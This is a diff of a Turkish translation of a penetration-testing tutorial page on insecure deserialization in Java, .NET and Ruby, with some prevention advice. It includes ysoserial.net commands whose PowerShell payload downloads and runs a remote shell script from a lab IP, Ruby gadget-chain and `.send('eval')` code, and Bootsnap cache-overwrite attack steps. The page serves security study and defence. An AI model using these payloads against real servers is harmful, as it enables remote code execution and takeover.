**Kryo** gibi kütüphaneler, Java deserialization'ını kontrol etme ve izleme için gelişmiş özellikler sunar. Bu kütüphaneler, deserialization'dan önce serileştirilmiş nesneleri analiz etme, sınıfları beyaz listeye alma veya kara listeye alma ve özel serileştirme stratejileri uygulama gibi ek güvenlik katmanları sağlayabilir. -- **NotSoSerial**, güvenilmeyen kodun çalıştırılmasını önlemek için deserialization süreçlerini engeller. -- **jdeserialize**, serileştirilmiş Java nesnelerinin deserialization'ını yapmadan analiz edilmesine olanak tanır ve potansiyel olarak zararlı içeriği tanımlamaya yardımcı olur. +- **NotSoSerial**, güvensiz kodun çalıştırılmasını önlemek için deserialization süreçlerini kesintiye uğratır. +- **jdeserialize**, serileştirilmiş Java nesnelerinin deserialization işlemi yapılmadan analiz edilmesine olanak tanır ve potansiyel olarak zararlı içeriği tanımlamaya yardımcı olur. - **Kryo**, hız ve verimliliğe vurgu yapan alternatif bir serileştirme çerçevesidir ve güvenliği artırabilecek yapılandırılabilir serileştirme stratejileri sunar. ### Referanslar @@ -598,7 +651,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## JMS - Java Mesaj Servisi -> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürüm (Java EE) parçasıdır ve Sun Microsystems'te geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Java EE tabanlı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında iletişimin gevşek bir şekilde bağlı, güvenilir ve asenkron olmasını sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürümü (Java EE) parçasıdır ve Sun Microsystems'ta geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Java EE'ye dayalı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında gevşek bağlı, güvenilir ve asenkron iletişimi sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). ### Ürünler @@ -610,55 +663,57 @@ Bu ara yazılımı kullanarak mesaj gönderen birkaç ürün bulunmaktadır: ### İstismar -Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet vardır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak kötü niyetli serileştirilmiş nesneler gönderebilirsiniz**.\ -Bu, bu istismarda tüm **mesajı kullanacak istemcilerin enfekte olacağı** anlamına gelir. +Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet vardır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak kötü niyetli serileştirilmiş nesneler** gönderebilirsiniz.\ +Bu, bu istismar sırasında **o mesajı kullanacak tüm istemcilerin enfekte olacağı** anlamına gelir. -Bir hizmetin zayıf olduğunu (kullanıcı girdisini güvensiz bir şekilde deserialization yaptığı için) hatırlamalısınız, ancak yine de zafiyeti istismar etmek için geçerli gadget'lar bulmanız gerekir. +Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisini güvensiz bir şekilde deserialization yapıyorsa) ancak yine de zafiyeti istismar etmek için geçerli gadget'lar bulmanız gerekir. -[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç kötü niyetli serileştirilmiş nesne göndererek bu hizmetlere bağlanmak ve saldırmak için** oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde ise çalışacaktır. +[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç kötü niyetli serileştirilmiş nesne göndererek bu hizmetlere bağlanmak ve saldırmak için** oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde bulunuyorsa çalışacaktır. ### Referanslar +- [Patchstack advisory – Everest Forms kimlik doğrulamasız PHP Nesne Enjeksiyonu (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) + - JMET konuşması: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) - Slaytlar: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) ## .Net -.Net bağlamında, deserialization istismarları, bir nesnenin deserialization'ı sırasında belirli kodları çalıştırmak için gadget'ların istismar edildiği bir şekilde çalışır. +.Net bağlamında, deserialization istismarları, bir nesnenin deserialization'ı sırasında belirli kodları çalıştırmak için gadget'ların istismar edilmesi gibi çalışır. ### Parmak İzi #### Beyaz Kutu -Kaynak kodu, aşağıdaki durumların varlığı için incelenmelidir: +Kaynak kodu, aşağıdaki terimlerin geçişlerini kontrol etmek için incelenmelidir: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` -Odak, türün kullanıcı kontrolündeki bir değişken tarafından belirlenmesine izin veren serileştiriciler üzerinde olmalıdır. +Odak, kullanıcı kontrolündeki bir değişken tarafından türün belirlenmesine izin veren serileştiricilere olmalıdır. #### Siyah Kutu -Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedeflemelidir; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, `TypeObject` veya `$type` içeren **JSON** veya **XML** yapıları dahil, ancak bunlarla sınırlı değildir. +Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedef almalıdır; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, `TypeObject` veya `$type` içeren **JSON** veya **XML** yapıları gibi olabilir. ### ysoserial.net -Bu durumda, **deserialization istismarlarını oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **örneğin Visual Studio kullanarak derlemelisiniz**. +Bu durumda, **deserialization istismarlarını oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **Visual Studio gibi bir programla derlemelisiniz**. -**ysoserial.net'in istismarını nasıl oluşturduğunu öğrenmek istiyorsanız**, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatlayıcısının açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). +**ysoserial.net'in istismarını nasıl oluşturduğunu** öğrenmek istiyorsanız, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ının açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). **ysoserial.net**'in ana seçenekleri: **`--gadget`**, **`--formatter`**, **`--output`** ve **`--plugin`.** - **`--gadget`**, istismar edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komutları çalıştırmak için istismar edilecek sınıf/fonksiyonu belirtir). -- **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtir (yüklemenin deserialization'ı için hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir). -- **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, yüklemeyi **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham yüklemeyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluk sorunları** yaşayabilirsiniz (HTB JSON kutusunda yükleme hem UTF-16LE hem de ASCII'de çalıştı, ancak bu her zaman çalışacağı anlamına gelmez)._ +- **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtmek için kullanılır (payload'ı deserialization yapmak için arka uçta hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir). +- **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, payload'ı **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham veriyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluk sorunları** yaşayabilirsiniz (HTB JSON kutusunda payload hem UTF-16LE hem de ASCII'de çalıştı, ancak bu her zaman çalışacağı anlamına gelmez)._ - **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak üzere eklentileri destekler**; örneğin ViewState. #### Daha fazla ysoserial.net parametreleri -- `--minify`, **daha küçük bir yük** sağlayacaktır (mümkünse). -- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatlayıcı ile kullanılabilecek tüm gadget'ları gösterecektir (`Json.Net` bu durumda). -- `--sf xml`, bir gadget'ı **belirtebilir** (`-g`) ve ysoserial.net "xml" içeren formatlayıcıları arayacaktır (büyük/küçük harf duyarsız). +- `--minify`, **daha küçük bir payload** sağlayacaktır (mümkünse). +- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatter ile kullanılabilecek tüm gadget'ları gösterecektir (`Json.Net` bu durumda). +- `--sf xml` bir gadget'ı **belirtebilir** (`-g`) ve ysoserial.net "xml" içeren formatörleri arayacaktır (büyük/küçük harf duyarsız). **ysoserial örnekleri** ile istismar oluşturma: ```bash @@ -679,7 +734,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** ayrıca her bir exploitin nasıl çalıştığını daha iyi anlamaya yardımcı olan **çok ilginç bir parametreye** sahiptir: `--test`\ -Bu parametreyi belirtirseniz **ysoserial.net** **exploit'i yerel olarak deneyecektir,** böylece payload'unuzun doğru çalışıp çalışmadığını test edebilirsiniz.\ +Bu parametreyi belirtirseniz **ysoserial.net** **exploit'i yerel olarak deneyecektir,** böylece yüklemenizin doğru bir şekilde çalışıp çalışmadığını test edebilirsiniz.\ Bu parametre faydalıdır çünkü kodu gözden geçirirseniz aşağıdaki gibi kod parçaları bulacaksınız ( [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) @@ -706,22 +761,22 @@ return obj; } ``` In the **önceki kod, oluşturulan istismara karşı savunmasızdır**. Bu nedenle, bir .Net uygulamasında benzer bir şey bulursanız, muhtemelen o uygulama da savunmasızdır.\ -Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** **ysoserial.net** tarafından oluşturulan deserialization istismarına karşı savunmasız olduğunu anlamamıza olanak tanır. +Bu nedenle **`--test`** parametresi, **`ysoserial.net`** tarafından oluşturulabilen deserialization istismarına karşı **hangi kod parçalarının savunmasız olduğunu anlamamıza** olanak tanır. ### ViewState -[**.Net'in \_\_ViewState parametresini istismar etmeye nasıl çalışılacağı hakkında bu POST'a**](exploiting-__viewstate-parameter.md) bakın **rastgele kod çalıştırmak için.** Eğer **kurban makinesinde kullanılan sırları zaten biliyorsanız**, [**kod çalıştırmayı öğrenmek için bu yazıyı okuyun**](exploiting-__viewstate-knowing-the-secret.md)**.** +[**.Net'in \_\_ViewState parametresini istismar etmeye nasıl çalışılacağı hakkında bu POST'a**](exploiting-__viewstate-parameter.md) bakın **rastgele kod çalıştırmak için.** Eğer **kurban makinesinin kullandığı sırları zaten biliyorsanız**, [**kod çalıştırmayı öğrenmek için bu yazıyı okuyun**](exploiting-__viewstate-knowing-the-secret.md)**.** ### Önleme .Net'te deserialization ile ilişkili riskleri azaltmak için: - **Veri akışlarının nesne türlerini tanımlamasına izin vermekten kaçının.** Mümkünse `DataContractSerializer` veya `XmlSerializer` kullanın. -- **`JSON.Net` için `TypeNameHandling` değerini `None` olarak ayarlayın:** %%%TypeNameHandling = TypeNameHandling.None%%% -- **`JavaScriptSerializer` ile `JavaScriptTypeResolver` kullanmaktan kaçının.** -- **Deserialization yapılabilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilişkili riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir. +- **`JSON.Net` için `TypeNameHandling`'i `None` olarak ayarlayın:** `TypeNameHandling = TypeNameHandling.None` +- **`JavaScriptSerializer`'ı `JavaScriptTypeResolver` ile kullanmaktan kaçının.** +- **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilişkili riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir. - **Riskli özelliklere sahip türlerle dikkatli olun**, `Value` özelliği ile `System.ComponentModel.DataAnnotations.ValidationException` gibi, istismar edilebilir. -- **Tür örneklemesini güvenli bir şekilde kontrol edin**; bu, saldırganların deserialization sürecini etkilemesini önler ve bu durum `DataContractSerializer` veya `XmlSerializer`'ı bile savunmasız hale getirebilir. +- **Tür örneklemesini güvenli bir şekilde kontrol edin**; bu, saldırganların deserialization sürecini etkilemesini önler ve `DataContractSerializer` veya `XmlSerializer`'ı bile savunmasız hale getirebilir. - **`BinaryFormatter` ve `JSON.Net` için özel bir `SerializationBinder` kullanarak beyaz liste kontrolleri uygulayın.** - **.Net içinde bilinen güvensiz deserialization aletleri hakkında bilgi sahibi olun** ve deserializer'ların bu türleri örneklemediğinden emin olun. - **Potansiyel olarak riskli kodu** internet erişimi olan koddan izole edin, böylece `System.Windows.Data.ObjectDataProvider` gibi bilinen aletleri güvensiz veri kaynaklarına maruz bırakmaktan kaçının. @@ -737,14 +792,14 @@ Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** **ysoserial.n Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir bayt akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir bayt akışını tekrar bir nesneye döndürmek için kullanılır; bu işleme ise deserialization denir. -Serileştirilmiş nesneleri güvence altına almak için **Ruby, HMAC (Hash-Based Message Authentication Code)** kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır: +Serileştirilmiş nesneleri güvence altına almak için, **Ruby HMAC (Hash-Based Message Authentication Code)** kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır: - `config/environment.rb` - `config/initializers/secret_token.rb` - `config/secrets.yml` - `/proc/self/environ` -**Ruby 2.X genel deserialization'dan RCE alet zincirine (daha fazla bilgi için** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: +**Ruby 2.X genel deserialization'dan RCE alet zincirine (daha fazla bilgi için** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**):** ```ruby #!/usr/bin/env ruby @@ -819,14 +874,14 @@ Diğer RCE zinciri Ruby On Rails'i istismar etmek için: [https://codeclimate.co ### Ruby .send() metodu -[**bu güvenlik açığı raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, eğer bazı kullanıcıdan gelen temizlenmemiş girdi bir ruby nesnesinin `.send()` metoduna ulaşırsa, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir. +[**bu güvenlik açığı raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, bazı kullanıcıdan gelen temizlenmemiş girdi `.send()` metoduna ulaştığında, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir. -Örneğin, eval çağırmak ve ardından ruby kodunu ikinci parametre olarak vermek, keyfi kodu çalıştırmaya olanak tanır: +Örneğin, eval çağırmak ve ardından ruby kodunu ikinci parametre olarak vermek, rastgele kodun çalıştırılmasına olanak tanır: ```ruby .send('eval', '') == RCE ``` -Ayrıca, **`.send()`** yönteminin yalnızca bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne yöntemini çağırmak mümkündür.\ -Bunun için, bu gereksinimleri karşılayan **ilginç yöntemleri bulmak üzere nesnenin tüm yöntemlerini listelemek** mümkündür. +Ayrıca, eğer **`.send()`** metodunun yalnızca bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne metodunu çağırmak mümkündür.\ +Bunun için, bu gereksinimleri karşılayan **ilginç metodları bulmak üzere nesnenin tüm metodlarını saymak** mümkündür. ```ruby .send('') @@ -854,17 +909,17 @@ Bir Ruby sınıfını nasıl [kirletebileceğinizi ve bunu burada nasıl kötüy ### Ruby _json kirlenmesi -Bir gövdeye hashlenemeyen bazı değerler, örneğin bir dizi gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adlı bir değer de ayarlaması mümkündür. Örneğin, arka uç bir parametrenin doğruluğunu kontrol ederse ancak ardından `_json` parametresini bir eylem gerçekleştirmek için kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir. +Bir gövdeye, bir dizi gibi hashlenemeyen bazı değerler gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adında bir değer de ayarlaması mümkündür. Ardından, örneğin arka uç bir parametrenin doğruluğunu kontrol ederse ancak `_json` parametresini bir eylem gerçekleştirmek için kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir. -Daha fazla bilgi için [Ruby _json kirlenmesi sayfasına](ruby-_json-pollution.md) bakın. +Daha fazla bilgi için [Ruby _json kirlenmesi sayfasını](ruby-_json-pollution.md) kontrol edin. ### Diğer kütüphaneler Bu teknik [**bu blog yazısından**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) alınmıştır. -RCE elde etmek için güvenli olmayan bir deserialization sırasında kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek başka Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden her zaman serileştirilmediğinde çağrılan yöntemleri göstermektedir (temelde RCE elde etmek için kötüye kullanılacak fonksiyon): +RCE elde etmek için kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek diğer Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden her zaman serileştirilmediğinde çağrılan yöntemleri göstermektedir (temelde RCE elde etmek için kötüye kullanılacak fonksiyon): -
KütüphaneGirdi verisiSınıf içindeki başlatma yöntemi
Marshal (Ruby)Binary_load
OjJSONhash (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)
OxXMLhash (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)
Psych (Ruby)YAMLhash (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)
init_with
JSON (Ruby)JSONjson_create ([json_create ile ilgili notlara bakın](#table-vulnerable-sinks) son)
+
KütüphaneGirdi verisiSınıf içindeki başlatma yöntemi
Marshal (Ruby)Binary_load
OjJSONhash (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)
OxXMLhash (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)
Psych (Ruby)YAMLhash (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)
init_with
JSON (Ruby)JSONjson_create ([json_create ile ilgili notları son bölümde görün](#table-vulnerable-sinks))
Temel örnek: ```ruby @@ -900,7 +955,7 @@ Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağ "password": "anypw" } ``` -Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu bulundu; bu, bunu tam bir RCE'ye dönüştürmek için başka bir gadget'ı kötüye kullanma gereksinimidir, şöyle bir şeyle: +Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu, bunun başka bir gadget'ı istismar etmek için bir gereklilik olduğu ve bunun bir RCE'ye dönüştürülmesi gerektiği bulundu: ```json { "^o": "Gem::Resolver::SpecSpecification", @@ -926,13 +981,13 @@ Check for more details in the [**original post**](https://github.blog/security/v ### Bootstrap Caching -Gerçekten bir deserialization zafiyeti değil ama bir Rails uygulamasından rastgele dosya yazma ile RCE elde etmek için bootstrap caching'i kötüye kullanmak için güzel bir hile (tam [orijinal yazıyı burada](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) bulabilirsiniz). +Gerçekten bir deserialization zafiyeti değil ama bir Rails uygulamasından rastgele dosya yazma ile RCE elde etmek için bootstrap caching'i kötüye kullanmak için güzel bir numara (tam [orijinal yazıyı burada](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) bulabilirsiniz). Aşağıda, Bootsnap caching'i kötüye kullanarak rastgele dosya yazma zafiyetini istismar etmek için makalede detaylandırılan adımların kısa bir özeti bulunmaktadır: - Vulnerability and Environment'i Belirleyin -Rails uygulamasının dosya yükleme işlevi, bir saldırganın dosyaları rastgele yazmasına izin verir. Uygulama kısıtlamalarla çalışsa da (sadece belirli dizinler, Docker'ın kök olmayan kullanıcısı nedeniyle yazılabilir), bu yine de Bootsnap önbellek dizinine yazmaya izin verir (genellikle tmp/cache/bootsnap altında). +Rails uygulamasının dosya yükleme işlevi, bir saldırganın dosyaları rastgele yazmasına izin verir. Uygulama kısıtlamalarla çalışsa da (Docker'ın kök olmayan kullanıcısı nedeniyle yalnızca tmp gibi belirli dizinler yazılabilir), bu yine de Bootsnap önbellek dizinine yazmaya izin verir (genellikle tmp/cache/bootsnap altında). - Bootsnap’ın Önbellek Mekanizmasını Anlayın @@ -944,19 +999,19 @@ Saldırgan, Rails başlangıcında muhtemelen yüklenen bir hedef dosyayı (örn - Önbellek Dosyası Yolunu Hesaplayın -Bootsnap’ın FNV-1a 64-bit hash mekanizmasını taklit ederek, doğru önbellek dosyası yolu belirlenir. Bu adım, kötü niyetli önbellek dosyasının Bootsnap'ın beklediği yere (örneğin, tmp/cache/bootsnap/compile-cache-iseq/ altında) yerleştirildiğinden emin olur. +Bootsnap’ın FNV-1a 64-bit hash mekanizmasını taklit ederek, doğru önbellek dosyası yolu belirlenir. Bu adım, kötü niyetli önbellek dosyasının Bootsnap'ın beklediği yere tam olarak yerleştirildiğinden emin olur (örneğin, tmp/cache/bootsnap/compile-cache-iseq/ altında). -- Kötü Niyetli Önbellek Dosyasını Oluşturun +- Kötü Niyetli Önbellek Dosyasını Hazırlayın Saldırgan, aşağıdakileri gerçekleştiren bir yük hazırlamaktadır: -- Rastgele komutları çalıştırır (örneğin, işlem bilgilerini göstermek için id çalıştırmak). +- Rastgele komutlar çalıştırır (örneğin, işlem bilgilerini göstermek için id çalıştırmak). - Kötü niyetli önbelleği çalıştırmadan sonra kaldırır, böylece yinelemeli istismar önlenir. - Uygulamanın çökmesini önlemek için orijinal dosyayı (örneğin, set.rb) yükler. Bu yük, ikili Ruby koduna derlenir ve daha önce toplanan meta veriler ve Bootsnap için doğru sürüm numarası kullanılarak dikkatlice oluşturulmuş bir önbellek anahtarı başlığı ile birleştirilir. - Üzerine Yazın ve Çalıştırmayı Tetikleyin -Rastgele dosya yazma zafiyetini kullanarak, saldırgan oluşturulan önbellek dosyasını hesaplanan konuma yazar. Ardından, bir sunucu yeniden başlatmasını tetikler (Puma tarafından izlenen tmp/restart.txt dosyasına yazarak). Yeniden başlatma sırasında, Rails hedef dosyayı gerektirdiğinde, kötü niyetli önbellek dosyası yüklenir ve uzaktan kod yürütme (RCE) ile sonuçlanır. +Rastgele dosya yazma zafiyetini kullanarak, saldırgan hazırlanmış önbellek dosyasını hesaplanan konuma yazar. Ardından, bir sunucu yeniden başlatmasını tetikler (Puma tarafından izlenen tmp/restart.txt dosyasına yazarak). Yeniden başlatma sırasında, Rails hedef dosyayı gerektirdiğinde, kötü niyetli önbellek dosyası yüklenir ve uzaktan kod yürütme (RCE) ile sonuçlanır. {{#include ../../banners/hacktricks-training.md}}